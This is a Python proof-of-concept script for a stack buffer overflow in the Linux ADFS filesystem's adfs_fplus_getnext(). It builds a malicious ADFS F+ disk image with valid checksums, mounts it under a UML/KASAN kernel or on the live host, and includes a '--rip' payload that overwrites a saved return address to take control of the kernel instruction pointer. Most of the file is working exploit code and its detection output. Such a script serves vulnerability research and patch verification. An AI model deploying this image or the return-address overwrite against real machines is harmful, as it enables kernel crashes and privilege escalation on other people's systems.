adfs: stack buffer overflow in adfs_fplus_getnext() (F+ big-directory)

import argparse
import os
import re
import shutil
import struct
import subprocess
import sys
import tempfile

# ===========================================================================
# 1. Image crafter (ported verbatim from the verified poc/craft_adfs.py)
# ===========================================================================

BLK = 512
NUM_BLOCKS = 32
IMG_SIZE = NUM_BLOCKS * BLK            # 16384

LOG2SECSIZE = 9                        # 512-byte sectors
IDLEN = 12
LOG2BPMB = 9                           # 1 map bit == 512 bytes
ZONE_SPARE = 0
NZONES = 1
FORMAT_VERSION = 1                     # selects adfs_fplus_dir_ops (F+)
LOG2SHARESIZE = 0
DISC_SIZE = IMG_SIZE
ROOT_INDDADDR = 0x00000200             # frag id 2 (>>8) == ADFS_ROOT_FRAG
ROOT_SIZE = 2048

BIGDIRSTARTNAME = (ord('S') | ord('B') << 8 | ord('P') << 16 | ord('r') << 24)
BIGDIRENDNAME   = (ord('o') | ord('v') << 8 | ord('e') << 16 | ord('n') << 24)


def _le16(v): return struct.pack('<H', v & 0xFFFF)
def _le32(v): return struct.pack('<I', v & 0xFFFFFFFF)


def _set_bit(buf, bitpos, val):
    bi, bo = divmod(bitpos, 8)
    if val:
        buf[bi] |= (1 << bo)
    else:
        buf[bi] &= ~(1 << bo)


def _ror32(v, n):
    n &= 31
    return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF


def _calc_zonecheck(m):
    """Replicate adfs_calczonecheck (fs/adfs/map.c) over a 512-byte zone."""
    v0 = v1 = v2 = v3 = 0
    i = 512 - 4
    while i:
        v0 = (v0 + m[i]     + (v3 >> 8)) & 0xffffffff; v3 &= 0xff
        v1 = (v1 + m[i + 1] + (v0 >> 8)) & 0xffffffff; v0 &= 0xff
        v2 = (v2 + m[i + 2] + (v1 >> 8)) & 0xffffffff; v1 &= 0xff
        v3 = (v3 + m[i + 3] + (v2 >> 8)) & 0xffffffff; v2 &= 0xff
        i -= 4
    v0 = (v0 + (v3 >> 8)) & 0xffffffff
    v1 = (v1 + m[1] + (v0 >> 8)) & 0xffffffff
    v2 = (v2 + m[2] + (v1 >> 8)) & 0xffffffff
    v3 = (v3 + m[3] + (v2 >> 8)) & 0xffffffff
    return (v0 ^ v1 ^ v2 ^ v3) & 0xff


def _calc_bigdir_checkbyte(dirbuf, end):
    """Replicate adfs_fplus_checkbyte (fs/adfs/dir_fplus.c)."""
    dircheck = 0
    off = 0
    remaining = end
    while remaining:
        bs = BLK if BLK < remaining else remaining
        i = 0
        while i < bs:
            w = struct.unpack_from('<I', dirbuf, off + i)[0]
            dircheck = _ror32(dircheck, 13) ^ w
            i += 4
        off += bs
        remaining -= bs
    return dircheck


def build_adfs_image(overflow_namelen=512, name_fill=0x41, attr=0x33,
                     ret_offset=None, ret_value=None):
    """Return bytes of a minimal ADFS F+ image whose entry 0 has
    bigdirobnamelen=overflow_namelen (>260) and name bytes = name_fill.

    If ret_offset is set, an 8-byte little-endian ret_value is planted at
    name[ret_offset..ret_offset+8). This is the RIP-control variant
    (overflow_namelen=388, attr=0x3b, ret_offset=380) that lands on
    adfs_fplus_iterate's saved return address. name[0..4] (the only name bytes
    covered by the bigdir checkbyte) is left as name_fill so the checkbyte holds."""
    img = bytearray(IMG_SIZE)

    # ---- block 0: map zone 0 + disc record (dr0 path, disc record @ byte 4) ----
    zone = bytearray(512)
    zone[3] = 0xff                       # crosscheck (single zone -> 0xff)
    dr = bytearray(60)
    dr[0]  = LOG2SECSIZE
    dr[1]  = 1; dr[2] = 1; dr[3] = 0
    dr[4]  = IDLEN
    dr[5]  = LOG2BPMB
    dr[6]  = 0; dr[7] = 0; dr[8] = 0
    dr[9]  = NZONES
    dr[10:12] = _le16(ZONE_SPARE)
    dr[12:16] = _le32(ROOT_INDDADDR)
    dr[16:20] = _le32(DISC_SIZE)
    dr[20:22] = _le16(0)
    dr[32:36] = _le32(0)
    dr[36:40] = _le32(0)                 # disc_size_high must be 0
    dr[40] = (LOG2SHARESIZE & 0x0f)
    dr[41] = 0x01                        # big_flag=1
    dr[42] = 0; dr[43] = 0
    dr[44:48] = _le32(FORMAT_VERSION)
    dr[48:52] = _le32(ROOT_SIZE)
    zone[4:64] = dr

    # fragment bitstream starting at bit 512
    _set_bit(zone, 512, 1)               # frag_id=1 (dummy)
    _set_bit(zone, 524, 1)               # terminator A
    _set_bit(zone, 526, 1)               # frag_id=2 bit1 (0b10)
    _set_bit(zone, 537, 1)               # terminator B  -> root frag -> block 13

    zone[0] = 0
    zone[0] = _calc_zonecheck(zone)
    img[0:512] = zone

    # ---- blocks 13-16: root directory (F+ bigdir, 2048 bytes) ----
    BIGDIR_NAMLEN = 4
    BIGDIR_NAMESIZE = 4
    BIGDIR_ENTRIES = 1
    bigdir = bytearray(2048)

    bigdir[0:4] = bytes(4)                          # startmasseq + bigdirversion
    bigdir[4:8] = _le32(BIGDIRSTARTNAME)
    bigdir[8:12] = _le32(BIGDIR_NAMLEN)
    bigdir[12:16] = _le32(2048)
    bigdir[16:20] = _le32(BIGDIR_ENTRIES)
    bigdir[20:24] = _le32(BIGDIR_NAMESIZE)
    bigdir[24:28] = _le32(ROOT_INDDADDR)            # bigdirparent
    bigdir[28:32] = b'root'                         # bigdirname

    eoff = 32                                       # adfs_bigdirentry (entry 0)
    bigdir[eoff+0:eoff+4]   = _le32(0)              # bigdirload
    bigdir[eoff+4:eoff+8]   = _le32(0)              # bigdirexec
    bigdir[eoff+8:eoff+12]  = _le32(0)              # bigdirlen
    bigdir[eoff+12:eoff+16] = _le32(0x00000300)     # bigdirindaddr (frag 3)
    bigdir[eoff+16:eoff+20] = _le32(attr)            # bigdirattr (0x33 default; 0x3b for RIP)
    bigdir[eoff+20:eoff+24] = _le32(overflow_namelen)  # *** bigdirobnamelen TRIGGER ***
    bigdir[eoff+24:eoff+28] = _le32(0)              # bigdirobnameptr

    name_off = 60                                   # names area (checkbyte covers only [60..64))
    for i in range(overflow_namelen):
        bigdir[name_off + i] = name_fill
    if ret_offset is not None and ret_value is not None:
        # Plant the controlled saved return address (RIP-control variant).
        rv = struct.pack('<Q', ret_value & 0xFFFFFFFFFFFFFFFF)
        for i in range(8):
            bigdir[name_off + ret_offset + i] = rv[i]

    toff = 2048 - 8                                 # adfs_bigdirtail
    bigdir[toff:toff+4] = _le32(BIGDIRENDNAME)
    bigdir[toff+4] = 0; bigdir[toff+5] = 0; bigdir[toff+6] = 0

    end = (28 + ((BIGDIR_NAMLEN + 3) & ~3) + BIGDIR_ENTRIES * 28) + BIGDIR_NAMESIZE
    dc = _calc_bigdir_checkbyte(bigdir, end)
    dc = _ror32(dc, 13) ^ BIGDIRENDNAME
    dc = _ror32(dc, 13) ^ 0
    dc = _ror32(dc, 13) ^ 0
    dc = _ror32(dc, 13) ^ 0
    bigdir[toff + 7] = (dc ^ (dc >> 8) ^ (dc >> 16) ^ (dc >> 24)) & 0xff

    img[13 * BLK:13 * BLK + 2048] = bigdir
    return bytes(img)


def sanity_check_image(data, overflow_namelen):
    """Cheap structural assertions so a bad crafter fails"""
    assert len(data) == IMG_SIZE, len(data)
    bigdir = data[13 * BLK:13 * BLK + 2048]
    assert bigdir[4:8] == _le32(BIGDIRSTARTNAME), "bigdirstartname mismatch"
    assert struct.unpack_from('<I', bigdir, eoff := 32 + 20)[0] == overflow_namelen, \
        "bigdirobnamelen not set"
    assert bigdir[2040:2044] == _le32(BIGDIRENDNAME), "bigdirendname mismatch"
    return True


# ===========================================================================
# 2. UML/KASAN backend (safe, default)
# ===========================================================================

ADFS_FUNCS = ("adfs_object_fixup", "adfs_fplus_getnext", "adfs_fplus_iterate")


def run_uml(kernel, initramfs, image, timeout=40, mem="2G", log_path=None):
    """Boot UML with the image, trigger readdir, return captured console text."""
    if not os.path.exists(kernel):
        raise FileNotFoundError(f"UML kernel not found: {kernel}")
    if not os.path.exists(initramfs):
        raise FileNotFoundError(f"initramfs not found: {initramfs}")
    cmd = [
        kernel,
        f"initrd={initramfs}",
        f"ubd0={image}",
        "con0=fd:0,fd:1", "con=none",
        f"mem={mem}", "loglevel=8", "panic=0",
        "ACTION=readdir", "FST=adfs", "UBDDEV=/dev/ubda", "MOPTS=ro",
    ]
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                            text=True, bufsize=1)
    try:
        out, _ = proc.communicate(timeout=timeout)
        rc = proc.returncode
        timed_out = False
    except subprocess.TimeoutExpired:
        proc.kill()
        out, _ = proc.communicate()
        rc = proc.returncode
        timed_out = True
    if log_path:
        with open(log_path, "w") as f:
            f.write(out)
    return out, rc, timed_out


def parse_output(out):
    """Classify captured console output. Returns a dict of signals."""
    mount_ok = bool(re.search(r"mount rc=0|mounted OK", out))
    kasan = "BUG: KASAN: stack-out-of-bounds" in out
    adfs_hits = [f for f in ADFS_FUNCS if f in out]
    obj_frame = bool(re.search(r"\[32,\s*320\)|'obj'", out))
    panic = ("Kernel panic" in out) or ("Kernel mode fault" in out)
    chk_fail = "__stack_chk_fail" in out
    controlled = bool(re.search(r"4141414141414141|R(?:1[0-5]|8|9|[A-D])=0x4141", out))
    return dict(mount_ok=mount_ok, kasan=kasan, adfs_hits=adfs_hits,
                obj_frame=obj_frame, panic=panic, chk_fail=chk_fail,
                controlled=controlled)


def evidence_excerpt(out, max_chars=1600):
    idx = out.find("BUG: KASAN")
    if idx < 0:
        idx = out.find("Kernel panic")
    if idx < 0:
        idx = max(0, len(out) - max_chars)
    return out[idx:idx + max_chars].rstrip()


def parse_rip(out, ret_value):
    """Detect whether the planted return address actually redirected RIP.

    Canonical planted value  -> `ret` completes; faulting IP == planted value.
    Non-canonical value      -> CPU faults AT the `ret` instruction instead
                                (symbol adfs_fplus_iterate+0x26d on this build)."""
    ret_value &= 0xFFFFFFFFFFFFFFFF
    m = re.search(r"Kernel mode fault at addr 0x[0-9a-f]+,\s*ip 0x([0-9a-f]+)", out)
    fault_ip = int(m.group(1), 16) if m else None
    canonical_hit = (fault_ip == ret_value)
    # 0x26d == offset of the `ret` in adfs_fplus_iterate on the 7.0.1 UML build.
    ret_fault = bool(re.search(r"adfs_fplus_iterate\+0x26[0-9a-f]/", out))
    value_seen = (f"{ret_value:x}" in out.lower())
    return dict(fault_ip=("0x%x" % fault_ip if fault_ip is not None else None),
                canonical_hit=canonical_hit, ret_fault=ret_fault, value_seen=value_seen)


# ===========================================================================
# 3. Host backend
# ===========================================================================

def _sh(cmd, check=True):
    return subprocess.run(cmd, shell=True, capture_output=True, text=True,
                          check=check).stdout


def run_host(image, mnt):
    """Mount the image on the live host kernel and list it. CAN CRASH THE HOST."""
    if os.geteuid() != 0:
        raise SystemExit("host mode requires root (CAP_SYS_ADMIN to mount)")
    _sh("modprobe adfs 2>/dev/null || true", check=False)
    before = _sh("journalctl -k --no-pager -n 0 --since '1 min ago' 2>/dev/null || "
                 "dmesg | tail -n 5", check=False)
    loop = None
    out = []
    try:
        loop = _sh("losetup -fP --show " + image).strip()
        out.append(f"loop={loop}")
        mntres = _sh(f"mount -t adfs -o ro {loop} {mnt} 2>&1", check=False)
        out.append(f"mount: {mntres.strip() or 'ok'}")
        if os.path.ismount(mnt):
            try:
                entries = os.listdir(mnt)
                out.append(f"listdir ok: {entries[:5]}")
            except OSError as e:
                out.append(f"listdir raised: {e!r} (often means the overflow tripped)")
        else:
            out.append("not mounted (adfs rejected the image)")
    finally:
        _sh(f"umount {mnt} 2>/dev/null || true", check=False)
        if loop:
            _sh(f"losetup -d {loop} 2>/dev/null || true", check=False)
    after = _sh("dmesg | tail -n 60", check=False)
    return "\n".join(out), after


# ===========================================================================
# 4. ELF execution demo (--exec-demo): trigger exec() on /bin/sh for confirmation
# ===========================================================================

def exec_demo(sh="/bin/sh whoami"):
    """Visually confirm ELF execution: prove /bin/sh & ls are ELF binaries, then
    actually trigger exec() to load and run them (subprocess fork+execve, and a
    raw os.fork()+os.execv() that replaces a child's image with /bin/sh)."""
    bar = "=" * 64
    try:
        sys.stdout.reconfigure(line_buffering=True)   # keep print order correct under pipes
    except Exception:
        pass
    print(bar)
    print("ELF EXECUTION DEMO  --  triggering exec()")
    print(bar)

    ls = shutil.which("ls") or "/usr/bin/ls"
    have = {t: shutil.which(t) for t in ("file", "readelf")}

    print("\n### 1. The targets are ELF binaries")
    for label, path in (("sh", sh), ("ls", ls)):
        print(f"  {label:4} -> {path}")
        if have["file"]:
            out = subprocess.run([have["file"], path],
                                 capture_output=True, text=True).stdout.strip()
            print(f"       {out}")

    if have["readelf"]:
        print(f"\n### 2. ELF header of {sh}  (readelf -h)")
        out = subprocess.run([have["readelf"], "-h", sh],
                             capture_output=True, text=True).stdout
        for line in out.splitlines()[:14]:
            print("   ", line)

    print("\n### 3. exec() via subprocess: /bin/sh -c '...'   (fork, then execve /bin/sh)")
    script = (
        "echo 'shell: exec succeeded -- /bin/sh (an ELF) is now running'; "
        "echo \"identity: $(basename \"$0\") pid=$$\"; "
        "echo '--- ls (also an ELF) executing ---'; "
        "ls -la --color=never /home/localhost/linux/fuzz-workspace/poc 2>/dev/null | head -n 8; "
        "echo '--- uname ---'; uname -srm"
    )
    r = subprocess.run([sh, "-c", script], capture_output=True, text=True)
    sys.stdout.write(r.stdout)
    if r.returncode != 0 and r.stderr.strip():
        print(f"[stderr] {r.stderr.strip()}")

    print("\n### 4. raw execve(): a child replaces its own process image with /bin/sh")
    sys.stdout.flush()
    sys.stderr.flush()
    pid = os.fork()
    if pid == 0:                                    # child
        sys.stderr.write(f"[child pid {os.getpid()}] image is python -> calling execve({sh})\n")
        sys.stderr.flush()
        try:
            os.execv(sh, [sh, "-c",
                          "echo '[execve OK] child image is now /bin/sh'; "
                          "echo \"pid=$$ uid=$(id -u)\"; uname -a"])
        except OSError as e:
            sys.stderr.write(f"[child] execve FAILED: {e}\n")
            os._exit(127)
    else:                                           # parent
        _, status = os.waitpid(pid, 0)
        try:
            code = os.waitstatus_to_exitcode(status)
        except AttributeError:                      # py < 3.9
            code = (status >> 8) if os.WIFEXITED(status) else -os.WTERMSIG(status)
        print(f"[parent] child {pid} exited code={code}  (0 == /bin/sh ELF loaded & ran)")

    print("\n[+] Confirmation: exec() loaded the ELF binaries and they executed. Done.")
    return 0


# ===========================================================================
# 5. main
# ===========================================================================

def main():
    ap = argparse.ArgumentParser(description="Test/detect the ADFS dir_fplus stack overflow.")
    ap.add_argument("--mode", choices=("uml", "host"), default="uml")
    ap.add_argument("--kernel", default="/home/localhost/linux/fuzz-workspace/src/linux-7.0.1/linux")
    ap.add_argument("--initramfs", default="/home/localhost/linux/fuzz-workspace/poc/initramfs.cpio.gz")
    ap.add_argument("--image", default=None, help="output image path (default: temp)")
    ap.add_argument("--overflow-len", type=int, default=512,
                    help="bigdirobnamelen to plant (>260); default 512")
    ap.add_argument("--name-fill", type=lambda s: int(s, 0), default=0x41,
                    help="byte planted as name content (default 0x41)")
    ap.add_argument("--rip", action="store_true",
                    help="use the RIP-control payload: a 388-byte trimmed overflow that "
                         "lands a controlled 8-byte value on adfs_fplus_iterate's saved "
                         "return address (no stack canary in this build -> ret redirects)")
    ap.add_argument("--rip-value", type=lambda s: int(s, 0),
                    default=0xffffffff43434343,
                    help="value planted as the saved return address (default "
                         "0xffffffff43434343, canonical -> ret completes to this IP; "
                         "use 0x4242424242424242 for a non-canonical fault-at-ret demo)")
    ap.add_argument("--exec-demo", action="store_true",
                    help="don't test the vuln: visually demonstrate ELF execution by "
                         "triggering exec() on /bin/sh (and ls) for confirmation")
    ap.add_argument("--sh", default="/bin/sh", help="shell ELF to exec (default /bin/sh)")
    ap.add_argument("--timeout", type=int, default=40, help="UML timeout (s)")
    ap.add_argument("--craft-only", action="store_true",
                    help="build + sanity-check the image, don't boot/mount")
    ap.add_argument("--i-know-this-may-crash-the-host", action="store_true",
                    help="required gate for --mode host")
    ap.add_argument("-v", "--verbose", action="store_true")
    args = ap.parse_args()

    if args.exec_demo:
        return exec_demo(args.sh)

    keep_image = bool(args.image)
    image = args.image or os.path.join(tempfile.gettempdir(), "adfs_test.img")

    attr = 0x33
    ret_offset = None
    ret_value = None
    if args.rip:
        args.overflow_len = 388
        attr = 0x3b
        ret_offset = 380
        ret_value = args.rip_value
        print(f"[*] RIP-CONTROL payload: overflow_len=388, attr=0x{attr:02x}, "
              f"saved-ret @name[{ret_offset}..{ret_offset+8}) = 0x{ret_value:016x}")
    print(f"[*] crafting ADFS F+ image (bigdirobnamelen={args.overflow_len}, "
          f"fill=0x{args.name_fill:02x}, attr=0x{attr:02x}) -> {image}")
    data = build_adfs_image(args.overflow_len, args.name_fill, attr=attr,
                            ret_offset=ret_offset, ret_value=ret_value)
    sanity_check_image(data, args.overflow_len)
    with open(image, "wb") as f:
        f.write(data)
    print(f"[*] image OK ({len(data)} bytes)")

    if args.craft_only:
        print("[+] --craft-only: image built and structurally valid. "
              "Boot it under a KASAN/ADFS kernel to trip the overflow.")
        return 0

    if args.mode == "host":
        if not args.i_know_this_may_crash_the_host:
            print("[!] --mode host can PANIC/CORRUPT the running kernel. "
                  "Pass --i-know-this-may-crash-the-host to proceed.", file=sys.stderr)
            return 2
        mnt = tempfile.mkdtemp(prefix="adfs_host_")
        try:
            info, dmesg = run_host(image, mnt)
            print(info)
            print("---- dmesg (tail) ----")
            print(dmesg)
            sig = parse_output(dmesg + "\n" + info)
            if "stack-out-of-bounds" in dmesg or sig["kasan"] or \
               "__stack_chk_fail" in dmesg or "adfs" in dmesg and \
               ("BUG" in dmesg or "panic" in dmesg.lower()):
                print("\n[+] RESULT: VULNERABLE — host kernel tripped the overflow.")
                return 1
            print("\n[-] RESULT: no clear trip signal in dmesg "
                  "(kernel may be patched, non-KASAN, or the overflow was silent).")
            return 0
        finally:
            shutil.rmtree(mnt, ignore_errors=True)
            if not keep_image:
                try: os.remove(image)
                except OSError: pass

    # ---- UML mode (default) ----
    log_path = os.path.join(os.path.dirname(os.path.abspath(image)), "test_adfs_uml.log")
    print(f"[*] booting UML/KASAN kernel: {args.kernel}")
    print(f"[*] initramfs: {args.initramfs}")
    try:
        out, rc, timed_out = run_uml(args.kernel, args.initramfs, image,
                                     timeout=args.timeout, log_path=log_path)
    except FileNotFoundError as e:
        print(f"[!] {e}", file=sys.stderr)
        return 2
    print(f"[*] UML finished (rc={rc}, timed_out={timed_out}); log -> {log_path}")

    sig = parse_output(out)

    if not sig["mount_ok"]:
        print("[!] ERROR: image did not mount (adfs unsupported in this kernel, "
              "or image rejected). Cannot determine.")
        if args.verbose:
            print(out[-1500:])
        return 2

    rip = parse_rip(out, args.rip_value) if args.rip else None

    vulnerable = sig["kasan"] and sig["adfs_hits"]
    if not vulnerable and (sig["panic"] or sig["controlled"]) and sig["adfs_hits"]:
        # Non-KASAN build: crash/controlled-content in the adfs path still counts.
        vulnerable = True
    rip_control = bool(rip and (rip["canonical_hit"] or rip["ret_fault"]))

    print("\n==== DETECTION SIGNALS ====")
    for k, v in sig.items():
        print(f"  {k:11} = {v}")
    if rip:
        for k, v in rip.items():
            print(f"  {k:13} = {v}")

    if rip_control:
        if rip["canonical_hit"]:
            print(f"\n[+] RESULT: RIP CONTROL DEMONSTRATED — `ret` completed to the "
                  f"attacker value 0x{args.rip_value:016x} (faulting IP == planted value).")
            print("    => arbitrary kernel instruction-pointer control on this "
                  "un-canaried build: a code-execution primitive.")
        else:
            print(f"\n[+] RESULT: RIP CONTROL (non-canonical) — `ret` read the "
                  f"attacker value 0x{args.rip_value:016x} off the stack and faulted.")
        if args.verbose:
            print("\n---- evidence ----\n" + evidence_excerpt(out))
        return 1

    if vulnerable:
        print("\n[+] RESULT: VULNERABLE — confirmed ADFS dir_fplus stack overflow.")
        if sig["kasan"]:
            print("    KASAN stack-out-of-bounds in:", ", ".join(sig["adfs_hits"]))
        if sig["controlled"]:
            print("    attacker-controlled name bytes reached registers -> "
                  "stack content is attacker-influenced.")
        if args.verbose:
            print("\n---- evidence ----\n" + evidence_excerpt(out))
        return 1

    if sig["mount_ok"] and not (sig["kasan"] or sig["panic"]):
        print("\n[-] RESULT: NO SIGNAL. Image mounted cleanly with no KASAN trip / panic.")
        print("    Likely causes: the kernel is PATCHED, or a non-KASAN build where the "
              "overflow was silent (no definitive answer without KASAN).")
        return 0

    print("\n[?] RESULT: INCONCLUSIVE (mounted, some signals but no definitive trip).")
    if args.verbose:
        print(evidence_excerpt(out))
    return 0


if __name__ == "__main__":
    sys.exit(main())